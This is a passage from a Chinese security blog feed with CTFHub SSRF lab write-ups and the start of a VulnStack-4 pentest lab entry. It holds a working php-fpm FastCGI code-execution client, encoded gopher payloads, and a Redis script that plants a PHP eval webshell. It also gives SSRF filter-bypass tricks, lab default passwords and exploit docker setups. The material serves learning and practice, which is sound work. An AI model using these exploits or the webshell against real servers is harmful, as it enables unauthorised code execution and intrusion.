punctuation">:</span>        data <span class="token operator">=</span> <span class="token string">b''</span>        <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>            buf <span class="token operator">=</span> self<span class="token punctuation">.</span>sock<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">512</span><span class="token punctuation">)</span>            <span class="token keyword">if</span> <span class="token keyword">not</span> <span class="token builtin">len</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">:</span>                <span class="token keyword">break</span>            data <span class="token operator">+=</span> buf        data <span class="token operator">=</span> BytesIO<span class="token punctuation">(</span>data<span class="token punctuation">)</span>        <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>            response <span class="token operator">=</span> self<span class="token punctuation">.</span>__decodeFastCGIRecord<span class="token punctuation">(</span>data<span class="token punctuation">)</span>            <span class="token keyword">if</span> <span class="token keyword">not</span> response<span class="token punctuation">:</span>                <span class="token keyword">break</span>            <span class="token keyword">if</span> response<span class="token punctuation">[</span><span class="token string">'type'</span><span class="token punctuation">]</span> <span class="token operator">==</span> FastCGIClient<span class="token punctuation">.</span>__FCGI_TYPE_STDOUT \                    <span class="token keyword">or</span> response<span class="token punctuation">[</span><span class="token string">'type'</span><span class="token punctuation">]</span> <span class="token operator">==</span> FastCGIClient<span class="token punctuation">.</span>__FCGI_TYPE_STDERR<span class="token punctuation">:</span>                <span class="token keyword">if</span> response<span class="token punctuation">[</span><span class="token string">'type'</span><span class="token punctuation">]</span> <span class="token operator">==</span> FastCGIClient<span class="token punctuation">.</span>__FCGI_TYPE_STDERR<span class="token punctuation">:</span>                    self<span class="token punctuation">.</span>requests<span class="token punctuation">[</span><span class="token string">'state'</span><span class="token punctuation">]</span> <span class="token operator">=</span> FastCGIClient<span class="token punctuation">.</span>FCGI_STATE_ERROR                <span class="token keyword">if</span> requestId <span class="token operator">==</span> <span class="token builtin">int</span><span class="token punctuation">(</span>response<span class="token punctuation">[</span><span class="token string">'requestId'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">:</span>                    self<span class="token punctuation">.</span>requests<span class="token punctuation">[</span>requestId<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'response'</span><span class="token punctuation">]</span> <span class="token operator">+=</span> response<span class="token punctuation">[</span><span class="token string">'content'</span><span class="token punctuation">]</span>            <span class="token keyword">if</span> response<span class="token punctuation">[</span><span class="token string">'type'</span><span class="token punctuation">]</span> <span class="token operator">==</span> FastCGIClient<span class="token punctuation">.</span>FCGI_STATE_SUCCESS<span class="token punctuation">:</span>                self<span class="token punctuation">.</span>requests<span class="token punctuation">[</span>requestId<span class="token punctuation">]</span>        <span class="token keyword">return</span> self<span class="token punctuation">.</span>requests<span class="token punctuation">[</span>requestId<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'response'</span><span class="token punctuation">]</span>    <span class="token keyword">def</span> <span class="token function">__repr__</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token string">"fastcgi connect host:&#123;&#125; port:&#123;&#125;"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>host<span class="token punctuation">,</span> self<span class="token punctuation">.</span>port<span class="token punctuation">)</span><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>    parser <span class="token operator">=</span> argparse<span class="token punctuation">.</span>ArgumentParser<span class="token punctuation">(</span>description<span class="token operator">=</span><span class="token string">'Php-fpm code execution vulnerability client.'</span><span class="token punctuation">)</span>    parser<span class="token punctuation">.</span>add_argument<span class="token punctuation">(</span><span class="token string">'host'</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'Target host, such as 127.0.0.1'</span><span class="token punctuation">)</span>    parser<span class="token punctuation">.</span>add_argument<span class="token punctuation">(</span><span class="token string">'file'</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'A php file absolute path, such as /usr/local/lib/php/System.php'</span><span class="token punctuation">)</span>    parser<span class="token punctuation">.</span>add_argument<span class="token punctuation">(</span><span class="token string">'-c'</span><span class="token punctuation">,</span> <span class="token string">'--code'</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'What php code your want to execute'</span><span class="token punctuation">,</span> default<span class="token operator">=</span><span class="token string">'&lt;?php phpinfo(); exit; ?>'</span><span class="token punctuation">)</span>    parser<span class="token punctuation">.</span>add_argument<span class="token punctuation">(</span><span class="token string">'-p'</span><span class="token punctuation">,</span> <span class="token string">'--port'</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'FastCGI port'</span><span class="token punctuation">,</span> default<span class="token operator">=</span><span class="token number">9000</span><span class="token punctuation">,</span> <span class="token builtin">type</span><span class="token operator">=</span><span class="token builtin">int</span><span class="token punctuation">)</span>    args <span class="token operator">=</span> parser<span class="token punctuation">.</span>parse_args<span class="token punctuation">(</span><span class="token punctuation">)</span>    client <span class="token operator">=</span> FastCGIClient<span class="token punctuation">(</span>args<span class="token punctuation">.</span>host<span class="token punctuation">,</span> args<span class="token punctuation">.</span>port<span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span>    params <span class="token operator">=</span> <span class="token builtin">dict</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    documentRoot <span class="token operator">=</span> <span class="token string">"/"</span>    uri <span class="token operator">=</span> args<span class="token punctuation">.</span><span class="token builtin">file</span>    content <span class="token operator">=</span> args<span class="token punctuation">.</span>code    params <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token string">'GATEWAY_INTERFACE'</span><span class="token punctuation">:</span> <span class="token string">'FastCGI/1.0'</span><span class="token punctuation">,</span>        <span class="token string">'REQUEST_METHOD'</span><span class="token punctuation">:</span> <span class="token string">'POST'</span><span class="token punctuation">,</span>        <span class="token string">'SCRIPT_FILENAME'</span><span class="token punctuation">:</span> documentRoot <span class="token operator">+</span> uri<span class="token punctuation">.</span>lstrip<span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>        <span class="token string">'SCRIPT_NAME'</span><span class="token punctuation">:</span> uri<span class="token punctuation">,</span>        <span class="token string">'QUERY_STRING'</span><span class="token punctuation">:</span> <span class="token string">''</span><span class="token punctuation">,</span>        <span class="token string">'REQUEST_URI'</span><span class="token punctuation">:</span> uri<span class="token punctuation">,</span>        <span class="token string">'DOCUMENT_ROOT'</span><span class="token punctuation">:</span> documentRoot<span class="token punctuation">,</span>        <span class="token string">'SERVER_SOFTWARE'</span><span class="token punctuation">:</span> <span class="token string">'php/fcgiclient'</span><span class="token punctuation">,</span>        <span class="token string">'REMOTE_ADDR'</span><span class="token punctuation">:</span> <span class="token string">'127.0.0.1'</span><span class="token punctuation">,</span>        <span class="token string">'REMOTE_PORT'</span><span class="token punctuation">:</span> <span class="token string">'9985'</span><span class="token punctuation">,</span>        <span class="token string">'SERVER_ADDR'</span><span class="token punctuation">:</span> <span class="token string">'127.0.0.1'</span><span class="token punctuation">,</span>        <span class="token string">'SERVER_PORT'</span><span class="token punctuation">:</span> <span class="token string">'80'</span><span class="token punctuation">,</span>        <span class="token string">'SERVER_NAME'</span><span class="token punctuation">:</span> <span class="token string">"localhost"</span><span class="token punctuation">,</span>        <span class="token string">'SERVER_PROTOCOL'</span><span class="token punctuation">:</span> <span class="token string">'HTTP/1.1'</span><span class="token punctuation">,</span>        <span class="token string">'CONTENT_TYPE'</span><span class="token punctuation">:</span> <span class="token string">'application/text'</span><span class="token punctuation">,</span>        <span class="token string">'CONTENT_LENGTH'</span><span class="token punctuation">:</span> <span class="token string">"%d"</span> <span class="token operator">%</span> <span class="token builtin">len</span><span class="token punctuation">(</span>content<span class="token punctuation">)</span><span class="token punctuation">,</span>        <span class="token string">'PHP_VALUE'</span><span class="token punctuation">:</span> <span class="token string">'auto_prepend_file = php://input'</span><span class="token punctuation">,</span>        <span class="token string">'PHP_ADMIN_VALUE'</span><span class="token punctuation">:</span> <span class="token string">'allow_url_include = On'</span>    <span class="token punctuation">&#125;</span>    response <span class="token operator">=</span> client<span class="token punctuation">.</span>request<span class="token punctuation">(</span>params<span class="token punctuation">,</span> content<span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>force_text<span class="token punctuation">(</span>response<span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre><p>找flag：</p><pre class="language-bash" data-language="bash"><code class="language-bash">python .<span class="token punctuation">\</span>fpm.py <span class="token string">"172.22.73.110"</span> <span class="token string">"/var/www/html/index.php"</span> -c <span class="token string">"&lt;?php system('ls;ls /'); exit; ?>"</span> -p <span class="token number">2333</span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707200642461.png" alt loading="lazy"></p><p>wsl上监听2333端口用来接收flag，并将结果保存到<code>fcg_exp.txt</code>文件</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707201353035.png" alt loading="lazy"></p><pre class="language-none"><code class="language-none">gopher%3A&#x2F;&#x2F;127.0.0.1%3A9000&#x2F;_%2501%2501%25E7%25F4%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%25E7%25F4%2501%25DB%2500%2500%2511%250BGATEWAY_INTERFACEFastCGI&#x2F;1.0%250E%2504REQUEST_METHODPOST%250F%2517SCRIPT_FILENAME&#x2F;var&#x2F;www&#x2F;html&#x2F;index.php%250B%2517SCRIPT_NAME&#x2F;var&#x2F;www&#x2F;html&#x2F;index.php%250C%2500QUERY_STRING%250B%2517REQUEST_URI&#x2F;var&#x2F;www&#x2F;html&#x2F;index.php%250D%2501DOCUMENT_ROOT&#x2F;%250F%250ESERVER_SOFTWAREphp&#x2F;fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250B%2504REMOTE_PORT9985%250B%2509SERVER_ADDR127.0.0.1%250B%2502SERVER_PORT80%250B%2509SERVER_NAMElocalhost%250F%2508SERVER_PROTOCOLHTTP&#x2F;1.1%250C%2510CONTENT_TYPEapplication&#x2F;text%250E%2502CONTENT_LENGTH33%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A&#x2F;&#x2F;input%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%2501%2504%25E7%25F4%2500%2500%2500%2500%2501%2505%25E7%25F4%2500%2521%2500%2500%253C%253Fphp%2520system%2528%2527ls%253Bls%2520&#x2F;%2527%2529%253B%2520exit%253B%2520%253F%253E%2501%2505%25E7%25F4%2500%2500%2500%2500</code></pre><p>然后再将文件读取出来得到有效的payload直接打</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> urllib<span class="token punctuation">.</span>parse <span class="token keyword">import</span> quote<span class="token punctuation">,</span> unquote<span class="token punctuation">,</span> urlencode<span class="token keyword">import</span> requestsurl <span class="token operator">=</span> <span class="token string">"http://challenge-3c0ef6982bf49126.sandbox.ctfhub.com:10800/?url="</span><span class="token builtin">file</span> <span class="token operator">=</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'fcg_exp.txt'</span><span class="token punctuation">,</span><span class="token string">'rb'</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token builtin">file</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span>result <span class="token operator">=</span> quote<span class="token punctuation">(</span><span class="token string">"gopher://127.0.0.1:9000/_"</span><span class="token operator">+</span>quote<span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"%0A"</span><span class="token punctuation">,</span><span class="token string">"%0D"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"%2F"</span><span class="token punctuation">,</span><span class="token string">"/"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span>r <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token operator">=</span>url<span class="token operator">+</span>result<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>r<span class="token punctuation">.</span>text<span class="token punctuation">)</span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707200659006.png" alt loading="lazy"></p><p>看到flag文件<code>flag_488cfa9618a27d4323c5cf9791dd2bcc</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707202019321.png" alt loading="lazy"></p><p>最后直接读文件</p><pre class="language-bash" data-language="bash"><code class="language-bash">python .<span class="token punctuation">\</span>fpm.py <span class="token string">"172.22.73.110"</span> <span class="token string">"/var/www/html/index.php"</span> -c <span class="token string">"&lt;?php system('cat \'/flag_488cfa9618a27d4323c5cf9791dd2bcc\''); exit; ?>"</span> -p <span class="token number">2333</span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707201211951.png" alt loading="lazy"></p><pre class="language-none"><code class="language-none">gopher%3A&#x2F;&#x2F;127.0.0.1%3A9000&#x2F;_%2501%2501%2595%2594%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2595%2594%2501%25DB%2500%2500%2511%250BGATEWAY_INTERFACEFastCGI&#x2F;1.0%250E%2504REQUEST_METHODPOST%250F%2517SCRIPT_FILENAME&#x2F;var&#x2F;www&#x2F;html&#x2F;index.php%250B%2517SCRIPT_NAME&#x2F;var&#x2F;www&#x2F;html&#x2F;index.php%250C%2500QUERY_STRING%250B%2517REQUEST_URI&#x2F;var&#x2F;www&#x2F;html&#x2F;index.php%250D%2501DOCUMENT_ROOT&#x2F;%250F%250ESERVER_SOFTWAREphp&#x2F;fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250B%2504REMOTE_PORT9985%250B%2509SERVER_ADDR127.0.0.1%250B%2502SERVER_PORT80%250B%2509SERVER_NAMElocalhost%250F%2508SERVER_PROTOCOLHTTP&#x2F;1.1%250C%2510CONTENT_TYPEapplication&#x2F;text%250E%2502CONTENT_LENGTH69%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A&#x2F;&#x2F;input%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%2501%2504%2595%2594%2500%2500%2500%2500%2501%2505%2595%2594%2500E%2500%2500%253C%253Fphp%2520system%2528%2527find%2520&#x2F;%2520-name%2520%255C%2527%252A%255C%2527%2520%257C%2520xargs%2520grep%2520%255C%2527ctfhub%257B%255C%2527%2527%2529%253B%2520exit%253B%2520%253F%253E%2501%2505%2595%2594%2500%2500%2500%2500</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707201513621.png" alt loading="lazy"></p><h3 id="Redis协议"><a href="#Redis协议" class="headerlink" title="Redis协议"></a>Redis协议</h3><p>题目提示<code>这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!</code></p><p>使用脚本生成payload，python2下跑</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> urllib<span class="token punctuation">,</span>requestsprotocol<span class="token operator">=</span><span class="token string">"gopher://"</span>ip<span class="token operator">=</span><span class="token string">"127.0.0.1"</span>port<span class="token operator">=</span><span class="token string">"6379"</span>shell<span class="token operator">=</span><span class="token string">"\n\n&lt;?php eval($_POST[\"shell\"]);?>\n\n"</span>filename<span class="token operator">=</span><span class="token string">"shell.php"</span>path<span class="token operator">=</span><span class="token string">"/var/www/html"</span>passwd<span class="token operator">=</span><span class="token string">""</span>cmd<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">"flushall"</span><span class="token punctuation">,</span>     <span class="token string">"set 1 &#123;&#125;"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>shell<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">,</span><span class="token string">"$&#123;IFS&#125;"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span>     <span class="token string">"config set dir &#123;&#125;"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">,</span>     <span class="token string">"config set dbfilename &#123;&#125;"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>filename<span class="token punctuation">)</span><span class="token punctuation">,</span>     <span class="token string">"save"</span>     <span class="token punctuation">]</span><span class="token keyword">if</span> passwd<span class="token punctuation">:</span>    cmd<span class="token punctuation">.</span>insert<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token string">"AUTH &#123;&#125;"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>passwd<span class="token punctuation">)</span><span class="token punctuation">)</span>payload<span class="token operator">=</span>protocol<span class="token operator">+</span>ip<span class="token operator">+</span><span class="token string">":"</span><span class="token operator">+</span>port<span class="token operator">+</span><span class="token string">"/_"</span><span class="token keyword">def</span> <span class="token function">redis_format</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">:</span>    CRLF<span class="token operator">=</span><span class="token string">"\r\n"</span>    redis_arr <span class="token operator">=</span> arr<span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">)</span>    cmd<span class="token operator">=</span><span class="token string">""</span>    cmd<span class="token operator">+=</span><span class="token string">"*"</span><span class="token operator">+</span><span class="token builtin">str</span><span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>redis_arr<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> x <span class="token keyword">in</span> redis_arr<span class="token punctuation">:</span>        cmd<span class="token operator">+=</span>CRLF<span class="token operator">+</span><span class="token string">"$"</span><span class="token operator">+</span><span class="token builtin">str</span><span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span><span class="token punctuation">(</span>x<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"$&#123;IFS&#125;"</span><span class="token punctuation">,</span><span class="token string">" "</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">+</span>CRLF<span class="token operator">+</span>x<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"$&#123;IFS&#125;"</span><span class="token punctuation">,</span><span class="token string">" "</span><span class="token punctuation">)</span>    cmd<span class="token operator">+=</span>CRLF    <span class="token keyword">return</span> cmd<span class="token keyword">if</span> __name__<span class="token operator">==</span><span class="token string">"__main__"</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> x <span class="token keyword">in</span> cmd<span class="token punctuation">:</span>        payload <span class="token operator">+=</span> urllib<span class="token punctuation">.</span>quote<span class="token punctuation">(</span>redis_format<span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">)</span>    result <span class="token operator">=</span> urllib<span class="token punctuation">.</span>quote<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>    <span class="token keyword">print</span> result</code></pre><pre class="language-none"><code class="language-none">gopher%3A&#x2F;&#x2F;127.0.0.1%3A6379&#x2F;_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522shell%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A&#x2F;var&#x2F;www&#x2F;html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A</code></pre><p>将生成的结果直接传给url，访问</p><p>然后访问shell.php</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707212626096.png" alt loading="lazy"></p><p>可以看到成功写入，然后找flag，直接cat即可</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707212729350.png" alt loading="lazy"></p><h3 id="URL-Bypass"><a href="#URL-Bypass" class="headerlink" title="URL Bypass"></a>URL Bypass</h3><p>题目提示<code>请求的URL中必须包含http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧</code></p><p>可以用<code>@</code>绕过，<code>http://whoami@127.0.0.1</code>实际上是以用户名 <code>whoami</code> 连接到站点<code>127.0.0.1</code></p><p>payload</p><pre class="language-none"><code class="language-none">?url&#x3D;http:&#x2F;&#x2F;notfound.ctfhub.com@127.0.0.1&#x2F;flag.php</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210708151728102.png" alt loading="lazy"></p><h3 id="数字IP-Bypass"><a href="#数字IP-Bypass" class="headerlink" title="数字IP Bypass"></a>数字IP Bypass</h3><p>题目提示<code>这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢</code></p><p>可以用十进制绕过，当然也可以是用八进制或者十六进制，但是都需要用到<code>.</code></p><pre class="language-none"><code class="language-none">?url&#x3D;http:&#x2F;&#x2F;2130706433&#x2F;flag.php</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210708154141264.png" alt loading="lazy"></p><p>另外还有一种思路，<code>利用其他各种指向127.0.0.1的地址</code>，学习了</p><pre class="language-none"><code class="language-none">http:&#x2F;&#x2F;localhost&#x2F;http:&#x2F;&#x2F;0&#x2F;http:&#x2F;&#x2F;[0:0:0:0:0:ffff:127.0.0.1]&#x2F;http:&#x2F;&#x2F;①②⑦.⓪.⓪.①</code></pre><h3 id="302跳转-Bypass"><a href="#302跳转-Bypass" class="headerlink" title="302跳转 Bypass"></a>302跳转 Bypass</h3><p>题目提示<code>SSRF中有个很重要的一点是请求可能会跟随302跳转，尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧</code></p><p>还是上面一样的方法直接绕了</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210708155539943.png" alt loading="lazy"></p><p>另外还有一种方法，用短链接，<a href="http://4m.cn">http://4m.cn</a></p><h3 id="DNS重绑定-Bypass"><a href="#DNS重绑定-Bypass" class="headerlink" title="DNS重绑定 Bypass"></a>DNS重绑定 Bypass</h3><p>题目提示<code>关键词：DNS重绑定。剩下的自己来吧，也许附件中的链接能有些帮助</code></p><p>附件给的链接：<a href="https://zhuanlan.zhihu.com/p/89426041">https://zhuanlan.zhihu.com/p/89426041</a></p><p>理解后实践</p><p>我们在 <a href="https://lock.cmpxchg8b.com/rebinder.html">https://lock.cmpxchg8b.com/rebinder.html</a> 这个网站上获取一个测试用的域名，当然这个网站目的就是用来测DNS重绑定漏洞的，拿到生成的域名<code>7f000001.2f6aa0b0.rbndr.us</code></p><p>请求，如果是404就按F5刷新</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210708160940884.png" alt loading="lazy"></p><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ul><li><a href="https://www.freebuf.com/articles/web/258365.html">我在CTFHub学习SSRF</a></li><li><a href="https://wh0ale.github.io/2019/01/22/2019-1-20-SSRF%E8%AF%A6%E8%A7%A3/">ssrf详解</a></li><li><a href="https://bbs.ichunqiu.com/thread-58455-1-1.html">SSRF系列之攻击FastCGI</a></li><li><a href="https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html">Fastcgi协议分析 &amp;&amp; PHP-FPM未授权访问漏洞 &amp;&amp; Exp编写</a></li><li><a href="https://xz.aliyun.com/t/5665">浅析Redis中SSRF的利用</a></li><li><a href="https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html">利用redis写webshell</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;主要学习一下内网中各种常用的协议，一步步来&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://www.extrader.top/categories/CTF/"/>
    
    
      <category term="CTF题" scheme="https://www.extrader.top/tags/CTF%E9%A2%98/"/>
    
      <category term="ssrf" scheme="https://www.extrader.top/tags/ssrf/"/>
    
  </entry>
  
  <entry>
    <title>VulnStack-4靶场练习</title>
    <link href="https://www.extrader.top/posts/b57d0eac/"/>
    <id>https://www.extrader.top/posts/b57d0eac/</id>
    <published>2021-07-06T12:00:00.000Z</published>
    <updated>2022-03-26T05:48:51.022Z</updated>
    
    <content type="html"><![CDATA[<p>本文全程参考 <a href="https://www.freebuf.com/articles/network/244704.html">记一次Vulnstack靶场内网渗透（二）</a> 来复现渗透过程，目的在于学习渗透流程和基本思路，记录下学习笔记</p><span id="more"></span><h3 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h3><p>靶机地址：<a href="http://vulnstack.qiyuanxuetang.net/vuln/detail/6/">http://vulnstack.qiyuanxuetang.net/vuln/detail/6/</a></p><p>学习思路：st漏洞利用、phpmyadmin getshell、tomcat 漏洞利用、docker逃逸、ms14-068、ssh密钥利用、流量转发、历史命令信息泄露、域渗透</p><p>攻击机Kali (192.168.0.106)</p><p>虚拟网卡配置</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630130756345.png" alt loading="lazy"></p><p>Ubuntu web服务器网卡配置，配两张网卡（192.168.0.105，192.168.183.128）</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630131230765.png" alt loading="lazy"></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630131200044.png" alt loading="lazy"></p><p>DC Windows Server 2008 R2服务器网卡配置（192.168.183.130）</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630131335941.png" alt loading="lazy"></p><p>Windows 7网卡配置（192.168.183.129）</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630131525870.png" alt loading="lazy"></p><p>然后把docker容器都开起来，靶机里有vulhub，直接拉就行了，这里拉三个</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> /home/ubuntu/Desktop/vulhub/struts/s2-045<span class="token function">docker-compose</span> up -d<span class="token builtin class-name">cd</span> <span class="token punctuation">..</span>/<span class="token punctuation">..</span>/tomcat/CVE-2017-12615<span class="token function">docker-compose</span> up -d<span class="token builtin class-name">cd</span> <span class="token punctuation">..</span>/<span class="token punctuation">..</span>/phpmyadmin/CVE-2018-12613<span class="token function">docker-compose</span> up -d</code></pre><p>分别对应</p><ul><li><strong>s2-045</strong></li><li><strong>CVE-2017-12615(tomcat put上传)</strong></li><li><strong>CVE-2018-12613(phpmyadmin文件包含漏洞)</strong></li></ul><p>docker开启情况如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210707093959463.png" alt loading="lazy"></p><p>初始密码</p><ul><li>f服务器：ubuntu-&gt;ubuntu</li><li>域成员Win7：douser-&gt;Dotest123</li><li>域控DC：administrator-&gt;Test2008</li></ul><p>靶机环境拓扑（ip地址在文中可能变化）</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210707093500532.png" alt loading="lazy"></p><p><strong>目标：</strong></p><p>域控中存在一份重要文件——《漂亮国网络攻击授权报告》。</p><h3 id="信息搜集"><a href="#信息搜集" class="headerlink" title="信息搜集"></a>信息搜集</h3><p>nmap信息搜集</p><pre class="language-bash" data-language="bash"><code class="language-bash">nmap -T4 -A -sN <span class="token number">192.168</span>.0.105</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704205813557.png" alt loading="lazy"></p><p>有<code>ssh</code>，<code>struts2</code>，<code>tomcat</code>，<code>phpmyadmin</code>等服务</p><h3 id="Web渗透"><a href="#Web渗透" 